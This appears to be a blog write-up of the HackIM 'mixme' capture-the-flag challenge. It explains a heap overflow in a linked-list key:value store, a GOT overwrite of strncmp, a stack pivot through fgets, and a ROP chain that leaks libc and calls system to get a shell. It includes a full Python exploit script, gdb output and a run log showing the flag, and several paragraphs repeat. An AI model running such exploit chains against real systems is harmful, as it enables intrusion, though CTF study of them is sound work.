Binary implements a circular linked list to store key:value pair. Each chunk is 32 bytes which looks like below
get@0x08048A6A feature provides a write anything anywhere primitive
Stack Pivot
I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea
[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc
I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
Then libc address could be leaked and system@libc could be called to get shell
Below is the full exploit:
struct node{ char key[16]; int size; char *value; struct node *next; struct node *prev; }Vulnerability is similar to exploitation 4, size of value chunk is allocated based on user input and size info is stored. But during edit, this size info is not checked and one could overflow into adjacent chunk. To place the value chunk of 1st node right before 2nd note, I allocated it to be 32 byte similar to size of struct node. Now overflowing value chunk will overwrite pointers in 2nd node.
get@0x08048A6A feature provides a write anything anywhere primitive
*(_DWORD *)(*((_DWORD *)ptr_to_head + 6) + 28) = *((_DWORD *)ptr_to_head + 7); //current->next->previous = current->previous *(_DWORD *)(*((_DWORD *)ptr_to_head + 7) + 24) = *((_DWORD *)ptr_to_head + 6); // current->previous->next = current->nextBut NX is enabled, making above primitive hard as both the address needs to be writable. We have better primitive in edit@0x08048BDB feature. By overwriting value pointer, we could read() into arbitrary address. So the idea is to overwrite 3rd DWORD with address of some GOT entry.
Stack Pivot
I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea
[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
.text:08048E6C mov eax, ds:stdin .text:08048E71 mov [esp+8], eax ; stream .text:08048E75 mov dword ptr [esp+4], 255 ; n .text:08048E7D lea eax, [ebp+s] ; lea eax,[ebp-0x10c] .text:08048E83 mov [esp], eax ; s .text:08048E86 call _fgets[*] The lea eax,[ebp-0x10c] will end up in address lower in stack than the current stack frame, if the function has smaller stack frame
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc
I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
gdb-peda$ x/30x 0xfffa5fa4 0xfffa5fa4: 0xf760d483 0xf76dd000 0xf76ddc20 0x000000fe 0xfffa5fb4: 0xf76ddc20 0xf75a33e9 0x43434343 0x43434343 0xfffa5fc4: 0x43434343 0x43434343 0x43434343 0x43434343 0xfffa5fd4: 0x43434343 0x43434343 0x43434343 0x43434343 0xfffa5fe4: 0x43434343 0x43434343 0x43434343 0x43434343 0xfffa5ff4: 0x0a434343 0xf759748b 0xfffa5fbd 0xf76ff001 0xfffa6004: 0x0000003b 0x0000000e 0x0000000a 0x00000001 0xfffa6014: 0xfffa5fbd 0xf76ff03c gdb-peda$ x/i 0xf759748b 0xf759748b <_IO_getline_info+283>: mov ecx,DWORD PTR [esp+0x1c]64 bytes will overwrite the saved return address to _IO_getline_info. One can use ret as NOP if the offsets vary in remote machine.
Then libc address could be leaked and system@libc could be called to get shell
Below is the full exploit:
#!/usr/bin/env import socket import telnetlib import struct import time ip = "127.0.0.1" ip = "54.163.248.69" port = 9005 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) msg = dict() msg['SELECT'] = 'Select op (store/get/edit/exit): ' msg['NAME'] = 'Name: ' msg['SIZE'] = 'Size: ' msg['DATA'] = 'Enter data: ' msg['NEWDATA'] = 'Enter new data: ' msg['INVALID'] = 'Invalid input\n' def recv_msg(delimiter): global soc rbuffer = '' while not rbuffer.endswith(delimiter): rbuffer += soc.recv(1) return rbuffer def send_msg(m): global soc soc.send(m + chr(0xa)) # create first note print "[*] Creating 1st node" recv_msg(msg['SELECT']) send_msg('store') recv_msg(msg['NAME']) send_msg('A') recv_msg(msg['SIZE']) send_msg('32') recv_msg(msg['DATA']) send_msg('AAAA') send_msg('') # create second note print "[*] Creating 2nd node" recv_msg(msg['SELECT']) send_msg('store') recv_msg(msg['NAME']) send_msg('B') recv_msg(msg['SIZE']) send_msg('32') recv_msg(msg['DATA']) send_msg('BBBB') send_msg('') #edit first note to overflow into second note print "[*] Overflowing into 2nd node, setting up strncmp() for overwrite" recv_msg(msg['SELECT']) send_msg('edit') recv_msg(msg['NAME']) send_msg('A') recv_msg(msg['SIZE']) send_msg('256') recv_msg(msg['NEWDATA']) got_strncmp = 0x0804b058 payload = "H" * 40 # overflow payload += "B" + chr(0)*15 # key payload += struct.pack("<I", 32) # size payload += struct.pack("<I", got_strncmp) # ptr to value, overwrite with GOT entry of strncmp send_msg(payload) recv_msg(msg['INVALID']) #edit second note to trigger the crash print "[*] Overwriting strncmp() to pivot stack using fgets()" recv_msg(msg['SELECT']) send_msg('edit') recv_msg(msg['NAME']) send_msg('B') recv_msg(msg['SIZE']) send_msg('256') recv_msg(msg['NEWDATA']) fgets_ret = 0x08048E6C send_msg(struct.pack("<I", fgets_ret)) # pivot stack by overflowing stack inside fgets # trigger stack based buffer overflow print "[*] Creating buffer overflow inside fgets()" recv_msg(msg['SELECT']) got_libc_start_main= 0x0804b044 rop = "C"*60 # read GOT entry of __libc_start_main rop += struct.pack("<I", 0x080486c6) # write@plt+6 rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret rop += struct.pack("<I", 0x00000001) rop += struct.pack("<I", got_libc_start_main) rop += struct.pack("<I", 0x00000004) # overwrite GOT entry of strcmp with system() rop += struct.pack("<I", 0x080485e6) # read@plt+6 rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret rop += struct.pack("<I", 0x00000000) rop += struct.pack("<I", 0x0804b00c) rop += struct.pack("<I", 0x00000004) sh_string = 0x8048386 rop += struct.pack("<I", 0x080485d0) # plt@strcmp rop += struct.pack("<I", 0xdeadbeef) rop += struct.pack("<I", sh_string) # sh -> /bin/sh send_msg(rop) print "[*] Leaking libc address" leaked_libc_start = soc.recv(4) leaked_libc_start = struct.unpack("<I", leaked_libc_start)[0] print "[*] Address of __libc_start_main() : %s" % hex(leaked_libc_start) system_offset = 0x26770 system_addres = leaked_libc_start + system_offset print "[*] Address of system() : %s" % hex(system_addres) system_addres = struct.pack("<I", leaked_libc_start + system_offset) send_msg(system_addres) print "[*] Shell" s = telnetlib.Telnet() s.sock = soc s.interact()
renorobert@ubuntu:~/HackIM/mixmes$ python sploit_mixme_poc.py [*] Creating 1st node [*] Creating 2nd node [*] Overflowing into 2nd node, setting up strncmp() for overwrite [*] Overwriting strncmp() to pivot stack using fgets() [*] Creating buffer overflow inside fgets() [*] Leaking libc address [*] Address of __libc_start_main() : 0xb75f9990 [*] Address of system() : 0xb7620100 [*] Shell cat flag.txt aw3s0m3++_hipp1e_pwn_r0ckst4rFlag for the challenge is aw3s0m3++_hipp1e_pwn_r0ckst4r
No comments:
Post a Comment